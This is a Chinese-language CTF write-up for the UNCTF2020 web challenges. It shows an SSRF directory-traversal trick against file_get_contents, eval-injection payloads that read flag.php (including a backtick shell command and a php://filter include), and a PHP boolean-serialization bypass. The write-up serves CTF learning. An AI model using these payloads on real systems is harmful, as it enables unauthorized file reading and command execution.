UNCTF2020 | Web Wp

Web

0x01:easy_ssrf

在这里插入图片描述

代码很简单,参数中要有unctf.com,而且过滤了php|file|zip|bzip|zlib|base|data,导致很多协议用不了,查了查资料发现涉及到SSRF file_get_contents函数都是利用的file协议等,一开始也没思路要怎么绕过去。

然后查了一篇师傅的博客记载了一个SSRF的一个黑魔法:

当PHP的 file_get_contents() 函数在遇到不认识的伪协议头时候会将伪协议头当做文件夹,造成目录穿越漏洞,这时候只需不断往上跳转目录即可读到根目录的文件。这个方法可以在SSRF的众多协议被ban的情况下来进行读取文件

在这里插入图片描述
发现确实可以造成目录穿越,直接读取下flag
在这里插入图片描述


0x02:babyeval

在这里插入图片描述
过滤了带括号的函数,可以使用echo进行输出内容,通过include包含flag.php,再输出变量即可(感觉是非预期,因为ob_start函数没有用到)

payload:

?a=include "flag.php";echo $flag;

ob_start([string output_callback])- 打开输出缓冲区,所有的输出信息不在直接发送到浏览器,而是保存在输出缓冲区里面,可选得回调函数用于处理输出结果信息。

这道题设置的是输出信息中不能存在flag,所以可以利用编码绕过

?a=echo `base64 flag.php`;

在这里插入图片描述
也可以通过include+伪协议去读取

?a=include 'php://filter/read=convert.base64-encode/resource=./flag.php';
0x03:ezphp

在这里插入图片描述

bool类型的true跟任意字符串可以弱类型相等。因此我们可以构造bool类型的序列化数据 ,无论比较的值是什么,结果都为true

payload:

<?php
error_reporting(0);
$shy='';
$shy=array("username"=>1,"password"=>1);
echo var_dump($shy);
echo var_dump(serialize($shy));
 
$shy='';
$shy=array("username"=>true,"password"=>true);
echo var_dump($shy);
echo var_dump(serialize($shy));
?>

在这里插入图片描述

0x04:easy_upload

  • 4
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 5
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值